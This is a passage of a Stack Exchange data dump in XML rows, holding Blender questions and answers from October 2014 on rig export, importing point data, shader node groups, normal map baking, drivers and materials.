  <row Id="16343" PostTypeId="1" CreationDate="2014-10-01T21:21:06.930" Score="1" ViewCount="3760" Body="&lt;p&gt;I'm new here, so please forgive me if I break a rule. I am a cinema and animation student creating an animated film that combines 2D and CGI animation. For compositing and other reasons, I would like to take CGI characters that I have already modeled and rigged in blender and import them into After Effect's Cinema 4D Lite, where I will animate and render them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried converting a rigged model to a .OBJ file and importing it into Cinema 4D Lite (within After Effects). I was able to get the model in, but the rig does not seem to have followed. I can't see it in the viewer window or in the list of imported objects. Is there something I need to do on blender or Cinema 4D's side to make this work? Is this even possible in my version of C4D? Any and all advice is greatly appreciated. (Except for animating in blender and then just exporting the animation to C4D- that's a last resort I'd like to avoid if possible.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be cross-posting this question to other blender and Cinema 4D forums; if this is disallowed, please let me know.&lt;/p&gt;&#xA;" OwnerUserId="6291" LastActivityDate="2016-09-20T12:26:56.370" Title="Importing blender rig into Cinema 4D Lite" Tags="&lt;animation&gt;&lt;objects&gt;&lt;export&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16345" PostTypeId="1" AcceptedAnswerId="70392" CreationDate="2014-10-01T23:19:17.460" Score="3" ViewCount="1807" Body="&lt;p&gt;Child particles can help give the appearance of many particles without slowing things down too much, which is especially useful when the particles will be combed or simulated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what about when using an object or group for a particle system which is not going to be combed or simulated? Are there any advantages to using child particles in this case?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2017-01-08T23:34:47.003" Title="Is there any advantage to using child particles with object particles?" Tags="&lt;particles&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16346" PostTypeId="1" AcceptedAnswerId="16370" CreationDate="2014-10-01T23:19:38.203" Score="2" ViewCount="1704" Body="&lt;p&gt;I have some text files that contain the (x, y, z) values of points that make up a curve. How can I import this curve into blender, add some thickness, and, if possible, color the line by a fourth variable (like time)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, here is a python script that prints x, y, z and t values for a spiral:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import numpy as np&#xA;&#xA;t = np.linspace(0,10,100)&#xA;&#xA;x = np.sin(t)&#xA;y = np.cos(t)&#xA;z = t&#xA;&#xA;for vec in zip(x, y, z, t):&#xA;    print '%.2f %.2f %.2f %.2f'%(vec[0],vec[1],vec[2],vec[3])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the output looks like my data files: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.00 1.00 0.00 0.00&#xA;0.10 0.99 0.10 0.10&#xA;0.20 0.98 0.20 0.20&#xA;0.30 0.95 0.30 0.30&#xA;0.39 0.92 0.40 0.40&#xA;0.48 0.88 0.51 0.51&#xA;0.57 0.82 0.61 0.61&#xA;0.65 0.76 0.71 0.71&#xA;0.72 0.69 0.81 0.81&#xA;0.79 0.61 0.91 0.91&#xA;0.85 0.53 1.01 1.01&#xA;0.90 0.44 1.11 1.11&#xA;0.94 0.35 1.21 1.21&#xA;0.97 0.25 1.31 1.31&#xA;0.99 0.16 1.41 1.41&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I import this data into Blender? (Note: I have used the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Add_3d_Function_Surface&quot; rel=&quot;nofollow&quot;&gt;3D surface plugin&lt;/a&gt; to draw lines and surfaces in Blender. This is not what I am asking here. In this case, I don't want to plot an equation, but experimental data from text files.)&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="3078" LastEditDate="2014-10-02T15:23:25.130" LastActivityDate="2014-10-21T22:07:44.780" Title="Import custom file format into Blender" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16348" PostTypeId="2" ParentId="16346" CreationDate="2014-10-02T00:36:45.537" Score="0" Body="&lt;p&gt;New Offer&#xA;Python Script Screen Capture ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please inspect and test and improve and critique if you choose to use.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Koy4n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red short curve segments are generated by the python. The color is graduated and repeated.  Substitute your data.&#xA;Your browser may allow you to [see image] at full size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Older Writing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you can change your points to a line equation &lt;code&gt;y = mx + b&lt;/code&gt; and use the same plugin.  Perhaps the plugin has this feature already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a high level description of some steps to be written in Python:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the file, read the values into some number sequence variable. Print them to the console for inspection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create or copy a Bezier curve. The curve points are assigned the points from [step 1]. Set the resolution value to 1 and the extrude value to greater than zero. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy a material and set diffuse value as a ratio of &lt;code&gt;bias  + (time/maxtime)&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Certainly a script similar to your needs exists and needs to be found.&#xA;Plotting scripts seems like a generally useful category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider inspecting some similar scripts supplied with Blender or elsewhere.  &lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="1363" LastEditDate="2014-10-03T20:39:51.940" LastActivityDate="2014-10-03T20:39:51.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16349" PostTypeId="2" ParentId="16275" CreationDate="2014-10-02T01:34:45.267" Score="7" Body="&lt;p&gt;I can't explain the math to do it manually, but you can use python to create a constraint that will do the rotation for you. You can then apply the visual transform and delete the constraint if you don't want to leave it there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;targetobj = bpy.data.objects['Sphere']&#xA;pointyobj = bpy.data.objects['Cone']&#xA;&#xA;ttc = pointyobj.constraints.new(type='TRACK_TO')&#xA;ttc.target = targetobj&#xA;ttc.track_axis = 'TRACK_Z'&#xA;# we don't care about the up_axis&#xA;# but default is Z and it needs to be different that track_axis&#xA;ttc.up_axis = 'UP_X'&#xA;&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;pointyobj.select = True&#xA;bpy.ops.object.visual_transform_apply()&#xA;&#xA;pointyobj.constraints.remove(ttc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if it will help but I believe the &lt;code&gt;trackto_evaluate&lt;/code&gt; function currently on &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/blenkernel/intern/constraint.c$965&quot; rel=&quot;noreferrer&quot;&gt;line 965 of constraint.c&lt;/a&gt; is the math behind the constraint.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-10-02T01:34:45.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16352" PostTypeId="1" CreationDate="2014-10-02T04:56:40.130" Score="9" ViewCount="4808" Body="&lt;p&gt;How can I get a Node input/output (e.g. a single Color/Value) that I can control from the one spot, but have mapped across multiple materials? For example, to control a value (say, Glass Shader IOF, or a Mix Shader Fac) across 30 different materials (that may or may not have different node setups, but all use the input I want as a driving factor somewhere inside).&lt;/p&gt;&#xA;&lt;p&gt;I've got a few ideas so far, but am not sure which will work and/or which will be the best way to go about it:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a Node Group&lt;/p&gt;&#xA;&lt;p&gt;I tried setting up an input inside a node group, then using the node group in various locations - however I could only seem to automate/keyframe the 'default' values of things inside the group (these changes didn't flow through into the instances of the group).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Script node&lt;/p&gt;&#xA;&lt;p&gt;I could set up a Script Node that returns the value I want - however I imagine this would be tricky to automate, and it would also lock me into OSL, which feels a bit roundabout and also rules out GPU rendering (not essential but it would be nice)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Driver&lt;/p&gt;&#xA;&lt;p&gt;I could set up a dummy object or material, set up drivers through to the things I want to control, then keyframe the dummy object and that might achieve what I want. However this again feels a bit roundabout/messy.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Background:&lt;/strong&gt; I'm working on a model that has a non-trivial number of materials (just over 100, auto-generated from a 3D scanner), and am trying to set up effective backface culling in rendering by using the method described &lt;a href=&quot;https://blender.stackexchange.com/a/2083&quot;&gt;here&lt;/a&gt;. This involves scripting the addition and connecting of all the extra nodes (Mix shader controlled by Geometry Backfacing, and a Transparent BSDF node to make the faces be rendered transparent from the back), because doing it manually for all 100+ materials would be a pain. It's not essential, but I was thinking it would be nice to be able to control the overall effect by automating all the Transparent BSDF Alpha amounts - I'm just not sure how I'd go about controlling that from a single point though.&lt;/p&gt;&#xA;" OwnerUserId="6298" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-07-02T08:39:50.853" Title="Global Variable/Node across multiple materials?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16353" PostTypeId="2" ParentId="16352" CreationDate="2014-10-02T05:56:37.460" Score="10" Body="&lt;p&gt;This can be done with node groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you were trying to edit the attributes of the node group instance itself. Instead, try editing/animating the attributes of the nodes inside the group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IEcOZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IEcOZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add a value node (or any input nodes you want, e.g. RGB for color) and press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to make it into a group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changes the values of the nodes inside the group will take effect everywhere the group is used, even across different materials. So in this case changing the value node will change the brightness of the diffuse material and the AO material.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-02T06:10:07.533" LastActivityDate="2014-10-02T06:10:07.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16354" PostTypeId="1" AcceptedAnswerId="16356" CreationDate="2014-10-02T07:37:32.440" Score="11" ViewCount="13542" Body="&lt;p&gt;I wonder why my normal map baking (from high to low mesh) got incorrect result like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oTpjR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31869&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;blend file&lt;/strong&gt;&lt;/a&gt; is here. Thanks anyone that can explain or help to solve it.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2020-09-01T09:53:51.150" Title="Why normal map baking break at UV seams?" Tags="&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16356" PostTypeId="2" ParentId="16354" CreationDate="2014-10-02T08:16:27.340" Score="10" Body="&lt;p&gt;The results are correct. The reason it appears wrong is because the normal map is using &lt;a href=&quot;http://en.wikipedia.org/wiki/Tangent_space&quot; rel=&quot;noreferrer&quot;&gt;tangent space&lt;/a&gt; (which is what you usually want) - tangent direction is based on the UV map, so there will usually be a difference in colour where there is a UV seam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the colour difference is not an artefact. When used as a normal map (not as a colour map), everything will display correctly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KcmQZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(That's the low poly model)&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-10-02T08:16:27.340" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16358" PostTypeId="1" CreationDate="2014-10-02T08:49:51.953" Score="2" ViewCount="2693" Body="&lt;p&gt;I'm trying to make interior design. At first Cycles is really good - all I needed to do was adjust the numbers of samples; But yesterday, suddenly, when I tried to render the same file it won't render at all, it's just showing two tiles rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried rendering another file and it's working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can anybody explain how to solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="6299" LastEditorUserId="3078" LastEditDate="2014-10-02T14:59:20.440" LastActivityDate="2014-10-02T20:10:11.340" Title="Cycles Render Stops Rendering" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2015-01-14T17:48:12.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="16359" PostTypeId="1" AcceptedAnswerId="19345" CreationDate="2014-10-02T09:34:33.093" Score="5" ViewCount="2678" Body="&lt;p&gt;I have to replace a linked object with another one but it would be nice to keep all object transformations of the old proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the common way to do this?&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2014-11-29T18:29:18.807" LastActivityDate="2014-11-29T18:40:52.473" Title="How to Relink a Linked Object?" Tags="&lt;workflow&gt;&lt;blend-files&gt;&lt;scene&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16360" PostTypeId="2" ParentId="16306" CreationDate="2014-10-02T11:46:37.450" Score="1" Body="&lt;p&gt;using the same method i mentioned in this post: &lt;a href=&quot;https://blender.stackexchange.com/questions/16112/novel-use-of-drivers/16113#16113&quot;&gt;Novel Use of Drivers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just have to change 1 line of the python code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;line 3 :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;driver = obj.rigid_body_constraint.driver_add('enabled')&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;becomes &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;driver = obj.rigid_body.driver_add('use_deactivation')&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;however you might want to change the LOC_Z to LOC_X or LOC_Y to use a different axis&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object_name = &quot;Cube&quot;&#xA;import bpy&#xA;for obj in bpy.data.objects:&#xA;    if  object_name+&quot;_cell&quot; in obj.name:&#xA;        driver = obj.rigid_body.driver_add('use_deactivation')&#xA;        driver.driver.expression=&quot;this_obj&amp;lt;mask_obj&quot;&#xA;        driver_variable = driver.driver.variables.new()&#xA;        driver_variable.name = &quot;this_obj&quot;&#xA;        driver_variable.type = 'TRANSFORMS'&#xA;        driver_variable.targets[0].transform_type = 'LOC_Z'&#xA;        driver_variable.targets[0].id = driver_variable.id_data    &#xA;        driver_variable = driver.driver.variables.new()&#xA;        driver_variable.name = &quot;mask_obj&quot;&#xA;        driver_variable.type = 'TRANSFORMS'&#xA;        driver_variable.targets[0].transform_type = 'LOC_Z'&#xA;        driver_variable.targets[0].id = bpy.data.objects['mask']  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5838" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-10-02T11:46:37.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16361" PostTypeId="1" AcceptedAnswerId="16367" CreationDate="2014-10-02T13:49:20.177" Score="3" ViewCount="1482" Body="&lt;p&gt;I'm modelling a belt, where a motor rotates the belt, thus rotating a cylindrical object on the other end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the belt with a simple plane segment with an array and a curve modifier.&#xA;this way I could simply imitate the belt rotation by moving the plane's location, like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XhyMi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the cylindrical object rotate with the plane's location change, so that it looks like the belt actually rotates it?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="3078" LastEditDate="2014-10-02T15:32:51.057" LastActivityDate="2014-10-02T18:29:21.127" Title="How to convert an object's location to another's rotation" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16363" PostTypeId="2" ParentId="8282" CreationDate="2014-10-02T15:54:09.180" Score="1" Body="&lt;p&gt;I don't think so. Sticky &lt;em&gt;Selection&lt;/em&gt; mode is for, well, &lt;strong&gt;selections&lt;/strong&gt;. What it does is make it so that when you select one vertex, it also selects the one the are on the *same* position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it doesn't, and furthermore &lt;em&gt;shouldn't&lt;/em&gt;, make what you want.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-10-02T15:54:09.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16364" PostTypeId="1" CreationDate="2014-10-02T16:31:22.317" Score="0" ViewCount="633" Body="&lt;p&gt;I am trying to install bgui based on &lt;a href=&quot;http://bgui.readthedocs.org/en/latest/tutorials/getting_started.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;. I couldn't get it running even though I followed what is written in the docs; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;After you’ve downloaded Bgui copy the “bgui” folder to where you need&#xA;  to for your project to access it (the current working directory of the&#xA;  project works well). &quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But when I have the code &lt;code&gt;import bgui&lt;/code&gt; in blender python script, it shows the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ImportError: No module named bgui&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in debug console. &lt;/p&gt;&#xA;" OwnerUserId="6154" LastActivityDate="2014-10-02T17:34:15.667" Title="How to install bgui for use in Blender BGE" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16365" PostTypeId="2" ParentId="16364" CreationDate="2014-10-02T17:34:15.667" Score="1" Body="&lt;p&gt;Python 3 uses relative import. Use &lt;code&gt;import .bgui&lt;/code&gt; instead of &lt;code&gt;import bgui&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not the problem, do the example scene run okay? You should see a bunch of widgets on the screen.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-10-02T17:34:15.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16366" PostTypeId="1" AcceptedAnswerId="16378" CreationDate="2014-10-02T18:27:49.007" Score="5" ViewCount="1331" Body="&lt;p&gt;I would like to know if there is any way to use the &quot;Add 3d Function Surface&quot; addon via the python interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an equation that describes a surface in the three-dimensional space that I can use to make a mesh object as described in &lt;a href=&quot;https://blender.stackexchange.com/questions/607/generate-curve-from-equation&quot;&gt;this answer&lt;/a&gt;. What I would like to know is if there is any way to do such a thing via the python interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, I would like to be able to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def mysurface(u, v):&#xA;   return numpy.array([u*v, u-v, math.pow(u, 2)])&#xA;&#xA;add_mesh_from_surface_equation(func = mysurface, urange = [0, 10], vrange = [0, 10], ustep = 0.01, vstep = 0.01)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do something like this?&lt;/p&gt;&#xA;" OwnerUserId="6305" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-10-03T01:16:43.470" Title="Use &quot;Add 3D Function Surface&quot; addon via python" Tags="&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16367" PostTypeId="2" ParentId="16361" CreationDate="2014-10-02T18:29:21.127" Score="3" Body="&lt;p&gt;What you need to do is to copy the distance (or absolute position) of the &quot;belt&quot; to the cylinder's rotation, and if necessary, multiply by a factor. To achieve this you can use &lt;em&gt;Animation Drivers&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, select the object you want to rotate, press &lt;kbd&gt;N&lt;/kbd&gt; and right click over the Z rotation filed and select &lt;code&gt;Add Single Drivers&lt;/code&gt; (or if you want to select &lt;code&gt;Add Drivers&lt;/code&gt; to add the drivers to the three of them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JJuqW.png&quot; alt=&quot;Drivers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, go to the &lt;em&gt;Graph Editor&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Left Arrow&lt;/kbd&gt; twice, from the default view), change the type to &lt;em&gt;Drivers&lt;/em&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MN0kR.png&quot; alt=&quot;Graph Type&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the Driver on the left, press &lt;kbd&gt;N&lt;/kbd&gt;, scroll down and on the &lt;em&gt;Drivers&lt;/em&gt; part, and use this settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mkwzw.png&quot; alt=&quot;Driver&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the plane is the &quot;belt&quot;; If you need to, in the Expression field you can change the factor to suit your needs.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-10-02T18:29:21.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16368" PostTypeId="1" CreationDate="2014-10-02T19:43:00.943" Score="5" ViewCount="12709" Body="&lt;p&gt;I'm new to Blender and currently following a tutorial.  I am using v2.71, the tutorial was filmed on 2.66.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the tutorial in the properties menu there is a tab called &quot;Mesh Display&quot;. But on my version this option is not there and I can't find it! So, where is it???&lt;/p&gt;&#xA;" OwnerUserId="6307" LastEditorUserId="599" LastEditDate="2014-10-02T19:56:21.777" LastActivityDate="2014-10-03T17:43:36.927" Title="Missing mesh display panel in 2.71" Tags="&lt;mesh&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16369" PostTypeId="2" ParentId="16368" CreationDate="2014-10-02T19:46:25.687" Score="7" Body="&lt;p&gt;This panel is only available in &lt;em&gt;edit mode&lt;/em&gt;. Press &lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt; to toggle edit mode, or select it from the drop down in the header of the 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fTvSN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are in edit mode, you should see the mesh display panel in the &lt;em&gt;Properties region&lt;/em&gt; (on the right in the above screenshot), which you can toggle visible with &lt;kbd&gt;N&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-03T17:43:36.927" LastActivityDate="2014-10-03T17:43:36.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16370" PostTypeId="2" ParentId="16346" CreationDate="2014-10-02T19:52:38.687" Score="5" Body="&lt;p&gt;One easy solution, though kind of &quot;hacky&quot;, would be to append &quot;v &quot; (a lowercase v and a space) to the beginning of each line, and then importing it has a Wavefront .obj format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just do: &lt;code&gt;print &quot;v &quot; + '%.2f %.2f %.2f %.2f'%(vec[0],vec[1],vec[2],vec[3])&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example three vertices are defined, then they are automatically assigned an index from top to bottom;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v 0.00 1.00 0.00 0.00 #This is the index 1&#xA;v 0.10 0.99 0.10 0.10 #This is the index 2&#xA;v 0.20 0.98 0.20 0.20 #This is the index 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, to define a &quot;face&quot; (a connection of 2 or more vertices) use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f 1 2 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this will define a face between the vertices of index 1, 2 and 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, however, you want to only connect vertices with edges, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;l 1 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To define an edge between vertices  of index 1 and 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a brief explanation, there's a &lt;a href=&quot;http://en.wikipedia.org/wiki/Wavefront_.obj_file&quot; rel=&quot;nofollow&quot;&gt;Wikipedia page&lt;/a&gt;. For the complete specification, refer to &lt;a href=&quot;http://www.martinreddy.net/gfx/3d/OBJ.spec&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-10-15T21:11:21.533" LastActivityDate="2014-10-15T21:11:21.533" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16372" PostTypeId="1" AcceptedAnswerId="16373" CreationDate="2014-10-02T21:11:49.400" Score="5" ViewCount="989" Body="&lt;p&gt;it's one of my 'How do I make a material in Cycles' questions again :D &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still not that wise when it comes to transparent textures and fresnel and so on, so if someone could explain to me how to create an effect like the one shown in the image below, that would be great ^^.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F4JnK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="599" LastEditDate="2014-10-02T21:16:27.250" LastActivityDate="2014-10-02T23:10:18.677" Title="How to make a Portal Bridge material in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16373" PostTypeId="2" ParentId="16372" CreationDate="2014-10-02T21:26:09.610" Score="5" Body="&lt;p&gt;Basically you can just mix between some emission shaders and transparent shaders based on some textures (click for larger image): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6RYBV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6RYBV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This uses a tile able image to create the sine-wave effects. I used a procedural gradient texture and a color ramp node to create the bright edges, and a noise texture to give some basic variations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that a separate emission shader is used for illuminating other objects, in order to make illuminate other objects better without over exposing the object itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image texture I used was this rather poorly hand painted wave. It's probably possible to procedurally generate such a wave with some math, but I'm not sure how..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PAO1o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to create a glow/bloom effect, I would use the compositor. You can either use a quick glare node, or manually blur and add the result back to the base image. For good measure I also mixed in some ambient occlusion and some fog/depth glowy stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2ntUS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img 